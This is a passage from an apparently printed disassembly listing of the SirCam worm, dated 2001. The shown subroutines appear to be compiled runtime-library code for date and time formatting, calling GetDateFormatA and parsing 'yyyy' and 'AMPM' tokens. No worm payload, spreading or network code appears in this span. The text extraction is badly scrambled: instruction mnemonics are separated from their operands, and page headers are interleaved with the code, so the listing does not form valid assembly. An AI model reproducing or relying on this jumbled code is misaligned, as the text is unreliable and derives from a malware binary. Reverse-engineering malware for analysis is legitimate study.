sub_4084A8+191\031p ... 8 push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] add eax, 0FFFFFFFCh mov edx, [eax] jmp short loc_4081A0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40819E: ; CODE XREF: sub_408190+1A\031j inc dword ptr [eax] mov mov mov cmp jz mov sub inc mov mov pop pop retn endp ecx, [eax] cl, [ecx] ebx, [ebp+arg_0] cl, [ebx-5] short loc_40819E eax, [eax] eax, edx eax edx, [ebp+arg_0] [edx-0Ch], eax ebx ebp loc_4081A0: sub_408190 ; CODE XREF: sub_408190+C\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4081BC proc near arg_0 = dword ptr push mov mov cmp jnz mov mov push push mov lea mov lea mov add call mov mov loc_4081F2: ; CODE XREF: sub_4084A8+149\031p ; sub_4084A8+198\031p ... 8 ebp ebp, esp eax, [ebp+arg_0] byte ptr [eax-13h], 0 short loc_4081F2 eax, [ebp+arg_0] eax, [eax+8] dword ptr [eax+0Ch] dword ptr [eax+8] eax, [ebp+arg_0] ecx, [eax-12h] eax, [ebp+arg_0] edx, [eax-10h] eax, [ebp+arg_0] eax, 0FFFFFFF2h sub_408048 eax, [ebp+arg_0] byte ptr [eax-13h], 1 ; CODE XREF: sub_4081BC+A\030j sircam.asm sub_4081BC Fri Aug 10 12:42:44 2001 pop retn endp 221 ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4081F4 proc near arg_0 = dword ptr ; CODE XREF: sub_4084A8+2FE\031p ; sub_4084A8+3FA\031p ... 8 push mov mov cmp jnz mov mov push push mov add push mov lea mov lea mov add call mov mov ebp ebp, esp eax, [ebp+arg_0] byte ptr [eax-1Dh], 0 short loc_408231 eax, [ebp+arg_0] eax, [eax+8] dword ptr [eax+0Ch] dword ptr [eax+8] eax, [ebp+arg_0] eax, 0FFFFFFE4h eax eax, [ebp+arg_0] ecx, [eax-1Ah] eax, [ebp+arg_0] edx, [eax-18h] eax, [ebp+arg_0] eax, 0FFFFFFEAh sub_407D30 eax, [ebp+arg_0] byte ptr [eax-1Dh], 1 pop retn endp ebp loc_408231: sub_4081F4 ; CODE XREF: sub_4081F4+A\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_408234 proc near var_118 var_114 var_14 var_12 var_E var_4 arg_0 = = = = = = = ; CODE XREF: sub_4084A8+1A9\031p dword ptr -118h byte ptr -114h word ptr -14h word ptr -12h word ptr -0Eh dword ptr -4 dword ptr 8 push mov add push push xor mov mov mov mov xor push ebp ebp, esp esp, 0FFFFFEE8h ebx esi ecx, ecx [ebp+var_118], ecx [ebp+var_4], ecx ebx, edx esi, eax eax, eax ebp sircam.asm Fri Aug 10 12:42:44 2001 222 push offset loc_408386 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx call sub_4034C8 mov eax, [ebp+arg_0] mov ax, [eax-0Eh] mov [ebp+var_14], ax mov eax, [ebp+arg_0] mov ax, [eax-10h] mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov ax, [eax-12h] mov [ebp+var_E], ax lea eax, [ebp+var_4] mov edx, offset dword_40839C call sub_403560 push 100h lea eax, [ebp+var_114] push eax mov eax, [ebp+var_4] call sub_4038E8 push eax lea eax, [ebp+var_14] push eax push 4 call j_GetThreadLocale_0 push eax call j_GetDateFormatA test eax, eax jz loc_408365 mov eax, ebx lea edx, [ebp+var_114] mov ecx, 100h call sub_4036F8 dec esi jnz loc_408365 mov ax, ds:word_41E5AC sub ax, 4 jz short loc_408307 sub ax, 0Dh jnz short loc_408365 push ebx mov eax, [ebx] mov edx, 1 call sub_409EA0 mov ecx, eax mov eax, [ebx] mov edx, 1 call sub_40392C jmp short loc_408365 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408307: cmp jnz mov call mov mov call cmp jnz mov mov call mov lea add dec ; CODE XREF: sub_408234+AE\030j ds:word_41E5AE, 1 short loc_408365 eax, [ebx] sub_403724 edx, eax eax, [ebx] sub_409D50 eax, 4 short loc_408365 eax, [ebx] edx, 3 sub_409E3C esi, eax eax, [ebp+var_114] esi, eax esi sircam.asm Fri Aug 10 12:42:44 2001 lea mov call mov mov call mov mov mov call eax, [ebp+var_118] edx, esi sub_403680 eax, [ebp+var_118] edx, 2 sub_409EA0 ecx, eax eax, ebx edx, esi sub_4035B0 loc_408365: ; CODE XREF: sub_408234+85\030j ; sub_408234+9E\030j ... xor pop pop pop mov push loc_408372: sub_408234 223 eax, eax edx ecx ecx fs:[eax], edx offset loc_40838D ; CODE XREF: CODE:0040838B\031j lea eax, [ebp+var_118] call sub_4034C8 lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -128h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408386: ; DATA XREF: sub_408234+1D\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_408372 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40838D: ; DATA XREF: sub_408234+139\030o pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 2 dword_40839C dd 6767h ; DATA XREF: sub_408234+53\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4083A0 proc near var_114 var_14 var_12 var_E var_4 arg_0 = = = = = = byte ptr -114h word ptr -14h word ptr -12h word ptr -0Eh dword ptr -4 dword ptr 8 ; CODE XREF: sub_4084A8+1D6\031p push mov add push push xor mov mov mov xor ebp ebp, esp esp, 0FFFFFEECh ebx esi ecx, ecx [ebp+var_4], ecx ebx, edx esi, eax eax, eax sircam.asm Fri Aug 10 12:42:44 2001 224 push ebp push offset loc_40847E push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx call sub_4034C8 mov eax, [ebp+arg_0] mov ax, [eax-0Eh] mov [ebp+var_14], ax mov eax, [ebp+arg_0] mov ax, [eax-10h] mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov ax, [eax-12h] mov [ebp+var_E], ax cmp esi, 2 jg short loc_4083FE lea eax, [ebp+var_4] mov edx, offset dword_408494 call sub_403560 jmp short loc_40840B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4083FE: lea mov call ; CODE XREF: sub_4083A0+4D\030j eax, [ebp+var_4] edx, offset aYyyy ; "yyyy" sub_403560 push lea push mov call push lea push push call push call test jz mov lea mov call dec jnz mov cmp jnz push mov call mov dec mov mov call ; CODE XREF: sub_4083A0+5C\030j 100h eax, [ebp+var_114] eax eax, [ebp+var_4] sub_4038E8 eax eax, [ebp+var_14] eax 4 j_GetThreadLocale_0 eax j_GetDateFormatA eax, eax short loc_408468 eax, ebx edx, [ebp+var_114] ecx, 100h sub_4036F8 esi short loc_408468 eax, [ebx] byte ptr [eax], 30h short loc_408468 ebx eax, [ebx] sub_403724 ecx, eax ecx eax, [ebx] edx, 2 sub_40392C loc_40840B: loc_408468: ; CODE XREF: sub_4083A0+93\030j ; sub_4083A0+A8\030j ... xor pop pop pop mov push eax, eax edx ecx ecx fs:[eax], edx offset loc_408485 sircam.asm Fri Aug 10 12:42:44 2001 loc_408475: sub_4083A0 225 ; CODE XREF: CODE:00408483\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -124h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40847E: ; DATA XREF: sub_4083A0+17\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_408475 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408485: ; DATA XREF: sub_4083A0+D0\030o pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 2 dword_408494 dd 7979h, 0FFFFFFFFh, 4 ; DATA XREF: sub_4083A0+52\030o aYyyy db ’yyyy’,0 ; DATA XREF: sub_4083A0+61\030o align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4084A8 proc near var_28 var_24 var_1F var_1E var_1D var_1C var_1A var_18 var_16 var_13 var_12 var_10 var_E var_C var_5 var_4 arg_0 = = = = = = = = = = = = = = = = = ; CODE XREF: sub_4084A8+2D7\031p ; sub_4084A8+2EB\031p ... dword ptr -28h dword ptr -24h byte ptr -1Fh byte ptr -1Eh byte ptr -1Dh word ptr -1Ch word ptr -1Ah word ptr -18h word ptr -16h byte ptr -13h word ptr -12h word ptr -10h word ptr -0Eh dword ptr -0Ch byte ptr -5 dword ptr -4 dword ptr 8 push mov add push push xor mov mov mov xor push push push mov cmp jz mov cmp ebp ebp, esp esp, 0FFFFFFD8h ebx esi edx, edx [ebp+var_28], edx [ebp+var_24], edx [ebp+var_4], eax eax, eax ebp offset loc_408BE9 dword ptr fs:[eax] fs:[eax], esp [ebp+var_4], 0 loc_408BCE eax, [ebp+arg_0] dword ptr [eax-108h], 2 sircam.asm Fri Aug 10 12:42:44 2001 226 jge loc_408BCE mov eax, [ebp+arg_0] inc dword ptr [eax-108h] mov bl, 20h mov [ebp+var_13], 0 mov [ebp+var_1D], 0 mov [ebp+var_1E], 0 jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4084FF: ; CODE XREF: sub_4084A8+717\031j mov [ebp+var_5], al inc [ebp+var_4] mov al, [ebp+var_5] and eax, 0FFh bt ds:dword_41C104, eax jnb short loc_40852C mov eax, [ebp+var_4] cmp byte ptr [eax], 0 jz loc_408BC5 inc [ebp+var_4] mov bl, 20h jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40852C: ; CODE XREF: sub_4084A8+6C\030j mov mov add sub jnb sub al, [ebp+var_5] edx, eax dl, 9Fh dl, 1Ah short loc_40853B al, 20h mov add sub jnb cmp jnz cmp jnz mov edx, eax dl, 0BFh dl, 1Ah short loc_408552 al, 4Dh short loc_408550 bl, 48h short loc_408550 al, 4Eh loc_40853B: ; CODE XREF: sub_4084A8+8F\030j loc_408550: ; CODE XREF: sub_4084A8+9F\030j ; sub_4084A8+A4\030j mov loc_408552: ebx, eax ; CODE XREF: sub_4084A8+9B\030j and eax, 0FFh add eax, 0FFFFFFDEh cmp eax, 38h ja loc_408BA6 mov al, ds:byte_408570[eax] jmp ds:off_4085A9[eax*4] ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ byte_408570 db 0Fh, 4 dup(0), 0Fh, 7 dup(0), 0Dh, 0Ah dup(0), 0Eh ; DATA XREF: sub_4084A8+BB\030r db 6 dup(0), 0Bh, 0, 0Ch, 5, 3, 0, 2, 6, 4 dup(0), 4, 7 db 4 dup(0), 8, 9, 4 dup(0), 1, 0Ah off_4085A9 dd offset loc_408BA6 ; DATA XREF: sub_4084A8+C1\030r dd offset loc_4085E9 dd offset loc_408638 dd offset loc_408665 dd offset loc_408692 dd offset loc_4086F7 dd offset loc_40879E dd offset loc_40889A dd offset loc_4088CB dd offset loc_4088FC sircam.asm Fri Aug 10 12:42:44 2001 227 dd offset loc_408931 dd offset loc_408962 dd offset loc_408ACF dd offset loc_408B2D dd offset loc_408B43 dd offset loc_408B59 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4085E9: ; CODE XREF: sub_4084A8+C1\030j ; DATA XREF: sub_4084A8+105\030o push ebp call sub_408190 pop ecx push ebp call sub_4081BC pop ecx cmp [ebp+var_C], 2 jg short loc_408620 mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_E] mov ecx, 64h xor edx, edx div ecx mov eax, edx mov edx, 2 call sub_408144 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408620: ; CODE XREF: sub_4084A8+153\030j mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_E] mov edx, 4 call sub_408144 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408638: ; CODE XREF: sub_4084A8+C1\030j ; DATA XREF: sub_4084A8+109\030o push ebp call sub_408190 pop ecx push ebp call sub_4081BC pop ecx mov eax, [ebp+arg_0] push eax push ebp lea edx, [ebp+var_24] mov eax, [ebp+var_C] call sub_408234 pop ecx mov eax, [ebp+var_24] call sub_408124 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408665: ; CODE XREF: sub_4084A8+C1\030j ; DATA XREF: sub_4084A8+10D\030o push call pop push call pop ebp sub_408190 ecx ebp sub_4081BC ecx sircam.asm Fri Aug 10 12:42:44 2001 228 mov eax, [ebp+arg_0] push eax push ebp lea edx, [ebp+var_28] mov eax, [ebp+var_C] call sub_4083A0 pop ecx mov eax, [ebp+var_28] call sub_408124 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408692: ; CODE XREF: sub_4084A8+C1\030j ; DATA XREF: sub_4084A8+111\030o push ebp call sub_408190 pop ecx push ebp call sub_4081BC pop ecx mov eax, [ebp+var_C] dec eax sub eax, 2 jb short loc_4086AD jz short loc_4086C3 jmp short loc_4086DD ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4086AD: ; CODE XREF: sub_4084A8+1FF\030j mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_10] mov edx, [ebp+var_C] call sub_408144 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4086C3: ; CODE XREF: sub_4084A8+201\030j mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_10] mov eax, ds:dword_41E50C[eax*4] call sub_408124 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4086DD: ; CODE XREF: sub_4084A8+203\030j mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_10] mov eax, ds:dword_41E53C[eax*4] call sub_408124 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4086F7: ; CODE XREF: sub_4084A8+C1\030j ; DATA XREF: sub_4084A8+115\030o push call pop mov dec sub jb jz dec ebp sub_408190 ecx eax, [ebp+var_C] eax eax, 2 short loc_408711 short loc_40872E eax sircam.asm Fri Aug 10 12:42:44 2001 229 jz short loc_408752 dec eax jz short loc_408776 jmp short loc_40878A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408711: ; CODE XREF: sub_4084A8+25D\030j push ebp call sub_4081BC pop ecx mov eax, [ebp+arg_0] push eax movzx eax, [ebp+var_12] mov edx, [ebp+var_C] call sub_408144 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40872E: ; CODE XREF: sub_4084A8+25F\030j mov eax, [ebp+arg_0] push eax mov eax, [ebp+arg_0] push dword ptr [eax+0Ch] push dword ptr [eax+8] call sub_408068 mov eax, ds:dword_41E56C[eax*4] call sub_408124 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408752: ; CODE XREF: sub_4084A8+262\030j mov eax, [ebp+arg_0] push eax mov eax, [ebp+arg_0] push dword ptr [eax+0Ch] push dword ptr [eax+8] call sub_408068 mov eax, ds:dword_41E588[eax*4] call sub_408124 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408776: ; CODE XREF: sub_4084A8+265\030j mov eax, [ebp+arg_0] push eax mov eax, ds:dword_41E4F4 call sub_4084A8 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40878A: ; CODE XREF: sub_4084A8+267\030j mov eax, [ebp+arg_0] push eax mov eax, ds:dword_41E4F8 call sub_4084A8 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40879E: ; CODE XREF: sub_4084A8+C1\030j ; DATA XREF: sub_4084A8+119\030o push call pop push call ebp sub_408190 ecx ebp sub_4081F4 sircam.asm Fri Aug 10 12:42:44 2001 230 pop ecx mov [ebp+var_1F], 0 mov esi, [ebp+var_4] jmp loc_40884F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4087B8: ; CODE XREF: sub_4084A8+3AB\031j and eax, 0FFh bt ds:dword_41C104, eax jnb short loc_4087D3 inc esi cmp byte ptr [esi], 0 jz loc_408859 inc esi jmp short loc_40884F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4087D3: ; CODE XREF: sub_4084A8+31C\030j xor eax, eax mov al, [esi] cmp eax, 48h jg short loc_4087EF jz short loc_408859 sub eax, 22h jz short loc_408846 sub eax, 5 jz short loc_408846 sub eax, 1Ah jz short loc_4087FB jmp short loc_40884E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4087EF: ; CODE XREF: sub_4084A8+332\030j sub eax, 61h jz short loc_4087FB sub eax, 7 jz short loc_408859 jmp short loc_40884E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4087FB: ; CODE XREF: sub_4084A8+343\030j ; sub_4084A8+34A\030j cmp jnz mov mov mov call test jz mov mov mov call test jz mov mov mov call test jnz loc_408840: [ebp+var_1F], 0 short loc_40884E edx, offset dword_408BF8 ecx, 5 eax, esi sub_4075E0 eax, eax short loc_408840 edx, offset dword_408C00 ecx, 3 eax, esi sub_4075E0 eax, eax short loc_408840 edx, offset aAmpm ; "AMPM" ecx, 4 eax, esi sub_4075E0 eax, eax short loc_408859 ; CODE XREF: sub_4084A8+36C\030j ; sub_4084A8+381\030j mov [ebp+var_1E], 1 jmp short loc_408859 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408846: ; CODE XREF: sub_4084A8+339\030j sircam.asm Fri Aug 10 12:42:44 2001 231 ; sub_4084A8+33E\030j mov xor mov al, [ebp+var_1F] al, 1 [ebp+var_1F], al loc_40884E: ; CODE XREF: sub_4084A8+345\030j ; sub_4084A8+351\030j ... inc esi loc_40884F: ; CODE XREF: sub_4084A8+30B\030j ; sub_4084A8+329\030j mov test jnz al, [esi] al, al loc_4087B8 loc_408859: ; CODE XREF: sub_4084A8+322\030j ; sub_4084A8+334\030j ... mov ax, [ebp+var_16] cmp [ebp+var_1E], 0 jz short loc_408878 test ax, ax jnz short loc_40886E mov ax, 0Ch jmp short loc_408878 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40886E: ; CODE XREF: sub_4084A8+3BE\030j cmp jbe sub ax, 0Ch short loc_408878 ax, 0Ch loc_408878: ; CODE XREF: sub_4084A8+3B9\030j ; sub_4084A8+3C4\030j ... cmp jle mov [ebp+var_C], 2 short loc_408885 [ebp+var_C], 2 loc_408885: ; CODE XREF: sub_4084A8+3D4\030j mov edx, [ebp+arg_0] push edx movzx eax, ax mov edx, [ebp+var_C] call sub_408144 pop ecx jmp loc_408BB8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40889A: ; CODE XREF: sub_4084A8+C1\030j ; DATA XREF: sub_4084A8+11D\030o push call pop push call pop cmp jle mov ebp sub_408190 ecx ebp sub_4081F4 ecx [ebp+var_C], 2 short loc_4088B5 [ebp+var_C], 2 loc_4088B5: ; CODE XREF: sub_4084A8+404\030j mov eax, 